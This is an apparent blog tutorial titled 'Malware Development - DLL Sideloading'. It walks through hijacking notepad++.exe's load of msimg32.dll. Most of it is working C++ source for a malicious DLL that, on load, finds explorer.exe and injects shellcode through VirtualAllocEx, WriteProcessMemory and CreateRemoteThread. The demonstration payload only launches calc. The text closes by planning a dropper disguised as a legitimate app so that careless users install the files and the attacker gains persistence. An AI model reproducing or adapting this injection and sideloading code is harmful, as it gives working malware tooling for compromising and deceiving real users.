Malware Development - DLL Sideloading

4 minute read

DLL sideloading is a method that allows an application to load a dynamic link library (DLL) from a location other than the application’s install directory. This is often done to enable an application to use a specific version of a DLL or to load a DLL that is not in the system’s default search path. In some cases, DLL sideloading can be used to introduce malicious code into an application, so it is generally considered a security risk and is often disabled on corporate and enterprise networks.

Concept

The concept of DLL sideloading is based on the fact that many applications use DLLs to provide additional functionality or to implement certain features. A DLL is a type of file that contains code and data that can be used by multiple applications at the same time. When an application needs to use a particular DLL, it typically loads the DLL from the application’s install directory or from a location specified in the system’s default search path.

Here in our case, “notepad++.exe” tries to load “MSIMG32.DLL”, first it will search the DLL in its folder, then check it if avaliable in “System32” folder. We will hijack this part of process, we will copy and save the DLL from “System32”, add dependencies to the original but renamed DLL so that our malicious DLL does not give any errors. When “notepad++.exe” executed, our malicious DLL will be loaded without any error and calc.exe executes.

this article will not cover obfuscation, use it for educational purposes, source code is at the bottom

Finding Vulnerable DLLs

As a mentioned before, this procedure requires a vulnerable DLL with “NAME NOT FOUND” result. I choose “notepad++.exe”, looked for a process that resulted “NAME NOT FOUND” and picked “msimg32.dll”.

I used my previous malware development - dropper codes, you can check them here.

First we should create the malicious DLL (which spawns calc.exe), so we open a new DLL project on Visual Studio named “msimg32” (you should name it with the target DLL’s name). We set DllMain function like below and the rest of the code is very same as my previous code. “Action” is our malicious function.

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  reason_for_call,
    LPVOID lpReserved
)
{
    HANDLE hThread = NULL;
    switch (reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        hThread = CreateThread(NULL, 0, Action, NULL, 0, NULL);
        CloseHandle(hThread);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

When “Action” function called, it makes these happen.

Action -> find and open target process -> inject payload

//msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
unsigned char payload[] = {.......}

HANDLE FindTargetProcess(const LPCSTR processName)
{
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hSnap)
        return 0;

    PROCESSENTRY32 ProcessListEntry;
    ProcessListEntry.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hSnap, &ProcessListEntry))
    {
        CloseHandle(hSnap);
        return 0;
    }  

    while (Process32Next(hSnap, &ProcessListEntry))
    {
        if (lstrcmpi(processName, ProcessListEntry.szExeFile) == 0)
        {
            pid = ProcessListEntry.th32ProcessID; break; 
        }
    }

    CloseHandle(hSnap);

    if (pid)
        return OpenProcess(PROCESS_CREATE_PROCESS | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD)pid);

    return NULL;
}

int InjectPayload(HANDLE hProcess, unsigned char* payload, unsigned int payloadSize)
{

    LPVOID pRemoteShellcode = NULL;
    pRemoteShellcode = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READ);
    WriteProcessMemory(hProcess, pRemoteShellcode, (PVOID)payload, (SIZE_T)payloadSize, (SIZE_T*)NULL);

    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteShellcode, NULL, 0, NULL);
    if (hThread != NULL)
    {
        WaitForSingleObject(hThread, 500);
        CloseHandle(hThread);
        return 0;
    }
    return -1;
}

DWORD WINAPI Action(LPVOID lpParameter)
{
    HANDLE hProcess = NULL;
    unsigned int payloadsize = sizeof(payload);

    char pName[] = "explorer.exe";
    hProcess = FindTargetProcess(pName);

    if (hProcess != NULL)
    {
        InjectPayload(hProcess, payload, payloadsize);
        CloseHandle(hProcess);
    }
    return 0;
}



After completing the payload and injection stages, we write the export functions of my original but renamed DLL so that our malicious DLL does not fail while loading.

Let’s test it out.

And also without executing notepad++.exe, Windows runs “msimg32.dll” when we click on the icon.

So far, so good. Our malicious DLL loading without error. We hijack the loading cycle, but we can do more. Let’s create a dropper for “msimg32.dll” and make it look like a legit app which drops our malicious DLL. So we will do this here:

Dropper -> Mal DLL + NonMal DLL -> execute payload

This procedure will give us the advantage: persistence. The careless user will run our dropper and if the user has notepad++ on their computer we will upload our files there.

To be continued.